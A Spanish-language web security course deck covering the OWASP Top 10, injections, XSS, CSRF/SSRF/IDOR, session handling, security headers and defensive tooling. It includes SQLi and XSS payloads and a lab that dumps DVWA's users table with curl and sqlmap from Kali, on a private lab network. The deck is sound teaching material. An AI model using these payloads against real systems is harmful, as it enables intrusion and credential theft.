

Seguridad Web

La superficie más expuesta de cualquier organización.
OWASP Top 10, inyecciones, XSS, CSRF, SSRF y los controles que de verdad las paran.

• 17 diapositivas

~25 min

Nivel • Iniciación + Práctica

0x07 • WEB

GET /login



200 OK

Set-Cookie



' OR 1=1--



pwn'd

Qué vamos a ver

/01	Anatomía de una webapp	contexto
/02	HTTP, cookies, sesión y JWT	bases
/03	OWASP Top 10 (2021)	el catálogo
/04	Inyecciones · SQLi y NoSQLi	A03
/05	XSS · reflejado, almacenado y DOM	A03
/06	CSRF · SSRF · IDOR	A01 · A10
/07	Autenticación y sesión	A07
/08	Configuración y secretos	A05 · A02
/09	Cabeceras HTTP de seguridad	HSTS · CSP
/10	Defensa · WAF, SAST, DAST, SBOM	arsenal
/11	Lab · explotar DVWA en Metasploitable	manos a la obra

Anatomía de una webapp moderna

Una webapp típica tiene 4 capas y cada una expone un set distinto de vulnerabilidades. La superficie real es la suma de todas.

// frontend	Cliente · navegador	HTML · CSS · JS · cookies
// edge	CDN, WAF y reverse proxy	TLS · cache · rate limit
// backend	App + API	Node · Django · Spring
// datos	Base de datos y storage	SQL · NoSQL · S3

▲ Cliente nunca es de confianza. Toda validación crítica vive en el backend.
Fuente: OWASP Application Security Verification Standard (ASVS) v4.0

HTTP, cookies, sesión y JWT

Cookies de sesión // RFC 6265

qué es	Un ID aleatorio que el servidor guarda. La cookie va en cada petición.
flags	HttpOnly · Secure · SameSite=Lax Strict
riesgo	XSS roba la cookie · CSRF la reutiliza · fijación si no rota tras login.
revocar	Trivial · borrar la sesión en el servidor.

JWT · token firmado // RFC 7519

qué es	Token autoportante header.payload.signature firmado con HMAC o RSA.
cómo va	Habitual en Authorization: Bearer Sin estado en el servidor.
riesgo	alg:none · clave débil · falta de exp · falta de revocación.
revocar	Difícil sin lista negra. Usa expiraciones cortas + refresh tokens.

OWASP Top 10 · 2021

Los 10 riesgos más importantes en aplicaciones web según consenso de la industria. Próxima revisión: 2025.

A01	Broken Access Control	Permisos rotos · IDOR · escalada · ruptura del nº 1 del Top.
A02	Cryptographic Failures	Datos sensibles sin cifrar, algoritmos débiles, gestión de claves.
A03	Injection	SQL, NoSQL, OS Command, LDAP. XSS también entra aquí.
A04	Insecure Design	Fallos por diseño · falta de modelado de amenazas.
A05	Security Misconfiguration	Configuraciones por defecto, paneles abiertos, S3 públicos.
A06	Vulnerable Components	Librerías sin parchear · base del SCA y los SBOM.
A07	Auth Failures	Login débil, sin MFA, sesión mal gestionada.
A08	Software & Data Integrity	Updates sin firma, CI/CD comprometido, deserialización insegura.
A09	Logging & Monitoring	Sin logs, sin alertas → no se detecta el ataque.
A10	SSRF	Server-Side Request Forgery · pivote a la nube interna.

fuente: OWASP Top 10 · 2021 · [owasp.org/top10](#)

05 / 17

Inyecciones · SQLi y NoSQLi

```
// código vulnerable (php)
$q = "SELECT * FROM users WHERE user='" . $_POST['u'] . "' AND pass='" . $_POST['p'] . "'";

// entrada del atacante
u = admin
p = ' OR '1'='1' --

// consulta resultante (siempre verdadera)
SELECT * FROM users WHERE user='admin' AND pass='' OR '1'='1' --'
```

Defensa #1 · prepared statements. Que el motor de la BD separe código y datos.

Defensa #2 · ORM bien usado. Nunca concatenar entrada de usuario en queries.

Cross-Site Scripting (XSS)

// REFLEJADO

Reflected

El payload viaja en la URL y la app lo devuelve sin escapar. Se entrega vía link malicioso compartido a la víctima.

eg. `?q=<script>alert(1)</script>`

// ALMACENADO

Stored

El payload se guarda en la BD (comentario, perfil, ticket) y se ejecuta en todo el que ve esa página. El más peligroso.

eg. `comentario malicioso`

// DOM-BASED

DOM-based

El payload nunca llega al servidor: lo procesa JS del cliente que usa innerHTML con datos no fiables.

eg. `window.location.hash`

Defensa. Escape contextual (HTML, atributo, JS, URL) + **CSP estricta** con nonces.

No vale. Lista negra de tags · sanitizado naïf · "filtrar `<script>`".

CSRF, SSRF e IDOR

CSRF	Cross-Site Request Forgery. La víctima, ya logueada, visita un sitio malicioso que envía peticiones al original usando su sesión. <i>Defensa: token CSRF + SameSite.</i>	SSRF	Server-Side Request Forgery. Engañas al servidor para que haga peticiones internas: metadatos cloud (AWS IMDS), redes privadas, localhost. <i>Defensa: allowlist + deny RFC1918.</i>
IDOR	Insecure Direct Object Reference. Cambias /factura/123 por /factura/124 y ves la del vecino. <i>Defensa: autorización por objeto, no por URL.</i>	Open Redirect	Redirige a donde el atacante quiera. Suele encadenarse con phishing porque la URL inicial es legítima. <i>Defensa: lista blanca de destinos.</i>
XXE	XML External Entity. Parsers XML que cargan entidades externas exponen archivos locales o SSRF. <i>Defensa: deshabilitar entidades.</i>	Deserialización	Objetos no fiables → RCE. Java readObject, PHP unserialize, .NET BinaryFormatter. <i>Defensa: usar JSON + validación de tipo.</i>

Autenticación y sesión

[01]Contraseñas con bcrypt / argon2id · nunca MD5, SHA1 ni "salt casero".	hash
[02]MFA por defecto · WebAuthn / TOTP. SMS sólo si no hay alternativa.	mfa
[03]Política NIST SP 800-63B · longitud > complejidad · contra brechas conocidas (HIBP).	policy
[04]Rate-limit y lockout por cuenta e IP. Captcha solo cuando hace falta.	brute
[05]Sesión rotada tras login y expiración por inactividad. Logout invalida server-side.	sess
[06]Recuperación segura · token único, corto, único uso, fuera de banda.	reset
[07]OAuth2 / OIDC con flow correcto · Authorization Code + PKCE para SPAs y móvil.	oauth

Configuración y secretos

Defaults en producción

Paneles de admin abiertos, credenciales por defecto, modos DEBUG visibles con stack traces enteras.

fix · checklist por entorno + benchmark CIS

Buckets S3 públicos

Listings abiertos al mundo · backups, fotos privadas, dumps de BD. Causa habitual de leaks masivos.

fix · Block Public Access + IAM least priv

Secretos en git

API keys y tokens dentro del repo, en histórico antiguo. Bots los encuentran en minutos.

fix · vault + gitleaks + rotación

Cifrado débil

TLS 1.0/1.1 abiertos, MD5 en certificados, cifrado simétrico sin IV único.

fix · TLS 1.2+ · AES-GCM · ChaCha20

Cabeceras HTTP de seguridad

CABECERA	QUÉ HACE	VALOR TÍPICO
Strict-Transport-Security	Fuerza HTTPS y prepara para HSTS preload.	max-age=63072000; includeSubDomains
Content-Security-Policy	Lista blanca de orígenes para JS, CSS, imágenes. Bloquea inline.	default-src 'self'; script-src 'nonce- ... '
X-Frame-Options	Evita clickjacking poniendo tu sitio en un iframe.	DENY
X-Content-Type-Options	Desactiva el MIME-sniffing del navegador.	nosniff
Referrer-Policy	Controla cuánta info de origen viaja en el Referer.	strict-origin-when-cross-origin
Permissions-Policy	Restringe APIs del navegador (cámara, micro, geo).	camera=(), microphone=()

WAF, SAST, DAST y SBOM

WAF

// edge

Web Application Firewall · filtra peticiones por reglas (ModSecurity, AWS WAF, Cloudflare). Frena ataques conocidos antes de llegar a la app.

SAST

// build time

Static Application Security Testing · analiza el código fuente (Semgrep, SonarQube, CodeQL). Detecta patrones inseguros.

DAST

// runtime

Dynamic AST · ataca la app desplegada (OWASP ZAP, Burp). Caja negra · ve lo que ve un atacante.

SCA / SBOM

// deps

Software Composition Analysis + Software Bill of Materials. Identifica librerías vulnerables (A06). Trivy, Snyk, Dependabot.

IAST / RASP

// in-app

Agente dentro del proceso que observa flujos en tiempo real. Menos falsos positivos pero rendimiento.

Bug bounty

// crowdsourcing

Programa abierto (HackerOne, Intigriti) que paga por hallazgo validado · cubre lo que el resto no encuentra.

APIs · OWASP API Security Top 10 (2023)

Las webapps modernas son APIs detrás de SPAs y apps móviles. OWASP publicó un Top 10 específico en 2023.

API1	Broken Object-Level Authorization	IDOR de toda la vida · A01 en versión API.
API2	Broken Authentication	JWT mal validado, secretos débiles, refresh sin caducidad.
API3	Broken Object Property-Level Auth	Mass assignment, exposición de campos sensibles.
API4	Unrestricted Resource Consumption	Sin rate-limit · DoS económicos en cloud.
API8	Security Misconfiguration	CORS demasiado abierto, debug en prod, errores con stack.
API10	Unsafe Consumption of APIs	Confiar en APIs de terceros sin validar respuesta.

SQLi y XSS en DVWA

```
// attacker
```

Kali Linux

```
172.18.0.2 ·  
curl + sqlmap
```

```
docker bridge ·  
172.18.0.0/16
```

```
// target
```

Metasploitable2

```
172.18.0.3 ·  
DVWA
```

TU MISIÓN

- › Acceder a DVWA en `http://172.18.0.3/dvwa` vía `curl` (todo CLI).
- › Mantener el flujo de cookies en un fichero `c.txt`.
- › Mapear cada hallazgo a su **CWE** y **OWASP A0x**.

```
●●● kali@kali · ~/lab-07 · bash
```

[01] Inicializa DVWA · crea la base de datos:

```
$ curl -s -c c.txt \<\  
-d "create_db=Create / Reset Database" \<\  
http://172.18.0.3/dvwa/setup.php >/dev/null
```

[02] Obtén el CSRF token y autentícate como admin:

```
$ T=$(curl -s -b c.txt -c c.txt \<\  
http://172.18.0.3/dvwa/login.php \<\  
| grep -oP "user_token' value='\\K[^']+")  
$ curl -s -b c.txt -c c.txt \<\  
-d "username=admin&password=password\<\  
&Login=Login&user_token=$T" \<\  
http://172.18.0.3/dvwa/login.php
```

SQLi y XSS en DVWA

QUÉ HACE CADA PASO

- › **SQLi manual** · inyección UNION para volcar la tabla users.
- › **sqlmap** · detección automática de la vuln y enumeración de bases de datos.
- › **XSS reflejado** · confirma que el servidor devuelve el payload sin escapar.
- › Mapear cada hallazgo a **CWE** y **OWASP A0x**.

```
●●● kali@kali · ~/lab-07 · bash
```

```
[03] SQLi manual · payload UNION:
```

```
$ curl -s -b c.txt \\  
--data-urlencode "id=1' UNION SELECT user,password FROM u  
sers-- -" \\  
--data "Submit=Submit" \\  
"http://172.18.0.3/dvwa/vulnerabilities/sqli/" \\  
| grep -oE 'First name:.*'
```

```
[04] SQLi automática con sqlmap (cookie reutilizada):
```

```
$ SID=$(awk '/PHPSESSID/{print $7}' c.txt)  
$ sqlmap -u \\  
"http://172.18.0.3/dvwa/vulnerabilities/sqli/?id=1&Submit  
=Submit" \\  
--cookie="PHPSESSID=$SID; security=low" --batch --dbs
```

```
[05] XSS reflejado · el script vuelve sin escapar:
```

```
$ curl -s -b c.txt \\  
"http://172.18.0.3/dvwa/vulnerabilities/xss_r/?name=<scri  
pt>alert(1)</script>" \\  
| grep -A1 Hello
```

6 ideas para llevarte

- /01 El cliente **nunca** es de confianza. La validación crítica vive en el backend.
- /02 El **OWASP Top 10** es vocabulario común con desarrollo y QA: úsalo en cada review.
- /03 **Prepared statements** matan SQLi. Sin excepciones. Sin "validación adicional".
- /04 XSS se mitiga con **escape contextual + CSP estricta con nonces**.
- /05 CSRF, SSRF e IDOR son fallos de **autorización**. resuélvelos con tokens, allowlists y permisos por objeto.
- /06 Defensa en profundidad: **cabeceras + WAF + SAST + DAST + SCA**. Ninguno solo es suficiente.

SIGUIENTE · TEMA 08

Seguridad en Dispositivos Móviles

Android e iOS, sandbox, permisos, almacenamiento seguro, MDM y los riesgos específicos de BYOD.

→ continúa en el siguiente vídeo

Para profundizar

OWASP es la referencia abierta del sector. NIST y CISA aportan el marco institucional.

[1]	OWASP	Top 10 2021 · API Security Top 10 2023 · ASVS v4 · Cheat Sheet Series · owasp.org
[2]	MITRE CWE	CWE-89 (SQLi) · CWE-79 (XSS) · CWE-352 (CSRF) · CWE-918 (SSRF) · cwe.mitre.org
[3]	IETF	RFC 9110 (HTTP) · RFC 6265 (Cookies) · RFC 6797 (HSTS) · RFC 7519 (JWT)
[4]	NIST	SP 800-63B (auth) · SP 800-218 (SSDF) · SP 800-52 Rev.2 (TLS)
[5]	CISA / INCIBE	Guías de WAF, SBOM y dev seguro · cisa.gov · incibe.es
[6]	PortSwigger	Web Security Academy · material formativo libre de portswigger.net